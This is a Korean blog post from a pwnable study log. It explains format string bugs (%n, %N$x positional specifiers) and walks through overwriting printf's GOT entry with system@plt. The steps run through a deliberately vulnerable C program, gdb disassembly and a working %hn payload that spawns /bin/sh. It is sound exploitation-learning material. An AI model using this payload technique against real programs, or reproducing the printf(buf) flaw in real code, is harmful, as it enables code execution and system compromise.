-
포맷스트링(Format String Bug) GOT OverwriteHack/Pwnable 2016. 8. 17. 23:45
ROP로 GOT Overwrite는 알고있었지만 fsb를 공부안한탓에 늦게 깨달았다 하하;;
고로 까먹을수도있기때문에 써놔야지 하하
여기서 일단 중요한건 %x, %n인데, 새로 안것은 %4$n 이런것도 있다는거를 깨달았습니다
%x%x%x%x할바에 %4$x를 쓰면됩니다 뭔가 이해되죠
%x%x%x%x%x면 %5$x를 사용하시면 됩니다. 이해 잘되죠!
뒤에 x는 %x를 나타냅니다
자 이제 중요한건 fsb로 쉘따기인데 간단한 코드를 짜겠습니다
1234567891011#include <stdio.h>int main(int argc,char *argv[]){char buf[256];system("echo \"\"");strcpy(buf,argv[1]);printf(buf);printf("/bin/sh");return 0;}cs printf(buf);로 인해 fsb 취약점이 발생하고, 아래에있는 printf의 got를 변경할겁니다.
자 보게되면 처음에 넣은값이 7번째이후에서 출력되고있습니다. 그럼, 저길 덮어주면 우리가 입력해준 AAAA가 바뀐다는소리니까, 처음에 got를 넣어주고 그다음에 저 주소까지 이동해서 값을 넣어주면됩니다.
AAAA%7$n을 하면 값이 쓰여지겠지만 저흰 got를 덮을거니까 다음과같이 넣어줍시다
printf@got + printf@got+2 + system@got + system@got+2를 넣으면됩니다.
(gdb) disas printf
Dump of assembler code for function printf@plt:
0x08048350 <+0>: jmp *0x804a00c
0x08048356 <+6>: push $0x0
0x0804835b <+11>: jmp 0x8048340
End of assembler dump.
(gdb) disas system
Dump of assembler code for function system@plt:
0x08048370 <+0>: jmp *0x804a014
0x08048376 <+6>: push $0x10
0x0804837b <+11>: jmp 0x8048340
End of assembler dump
system@plt = 0x8048370
printf@got = 0x804a00c
got를 system으로 덮어서 system("/bin/sh"); 이 실행되게 할겁니다.우선 페이로드는 아래와같습니다../fsb $(python -c 'print "\x0e\xa0\x04\x08\x0c\xa0\x04\x08%2044x%7$hn%31596x%8$hn"')
설명을 하자면, 원래 대부분 \x0c\xa0\x04\x08을 먼저 앞에 놓고 시작하지만 저는 \x0e부터 넣은이유가, system@plt에서 2바이트씩 끊어서, 10진수로 변환하면
0x0804 = 2052
0x8370 = 33648
가 나오는데, %n을할때 앞에 출력되는거까지 빼서 넣어줘야 카운팅되서 들어가기때문에 2052 - 33648을 해주게되면 음수가나와 거꾸로 해준겁니다.
hn을 넣은이유도 2바이트씩 끊어서 넣어주기위해 %hn을 사용했습니다.
'Hack > Pwnable' 카테고리의 다른 글
fast_dup double free attack (0) 2016.09.13 Layer CTF easy_bof (2) 2016.09.05 Off-by-one (0) 2016.08.11 const overwrite, 버그헌팅하면서 배운점 (3) 2016.07.19 ARM Shellcode 간단한거.. (0) 2016.06.29